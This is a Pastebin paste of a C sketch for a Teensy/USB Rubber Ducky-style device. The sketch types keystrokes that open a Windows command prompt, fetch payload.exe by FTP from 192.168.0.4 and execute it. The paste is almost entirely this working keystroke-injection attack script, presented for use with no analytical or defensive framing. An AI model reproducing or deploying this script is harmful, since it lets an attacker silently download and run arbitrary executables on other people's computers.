Advertisement
Guest User

FTP Payload download for USB Rubber Ducky

a guest
Apr 30th, 2010
979
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.18 KB | None | 0 0
  1. void setup()
  2. {
  3.   delay(3500);
  4.   CommandAtRunBar("cmd"); // Open command prompt
  5.   delay(1500);
  6.   Echo("ftp 192.168.0.4"); Enter();  // FTP to 192.168.0.4
  7.   delay(500);
  8.   Echo("teensy"); Enter();   // Username
  9.   Enter();                   // Password
  10.   Echo("get payload.exe"); Enter();  // Get [filename]
  11.   delay(100);
  12.   Echo("bye"); Enter();    // Exit ftp
  13.   Echo("payload.exe"); Enter();   // Execute payload.exe
  14.   delay(2000);
  15.   Echo("exit"); Enter();    // Exit command prompt
  16. }
  17.  
  18.  
  19.  
  20. void loop()
  21. {}
  22.  
  23.  
  24. void CommandAtRunBar(char *SomeCommand){
  25. Keyboard.set_modifier(128); //Windows key
  26. Keyboard.set_key1(KEY_R); // use r key
  27. Keyboard.send_now(); // send strokes
  28. Keyboard.set_modifier(0); //prep release of control keys
  29. Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.
  30. Keyboard.send_now(); //Send the key changes
  31. delay(1500);
  32. Keyboard.print(SomeCommand);
  33. Keyboard.set_key1(KEY_ENTER);
  34. Keyboard.send_now();
  35. Keyboard.set_key1(0);
  36. Keyboard.send_now();
  37. }
  38.  
  39. void Echo(char *string)
  40. {
  41.   Keyboard.print(string);
  42. }
  43.  
  44. void Enter()
  45. {
  46.   Keyboard.set_key1(KEY_ENTER);
  47.   Keyboard.send_now();
  48.   Keyboard.set_key1(0);
  49.   Keyboard.send_now();
  50. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement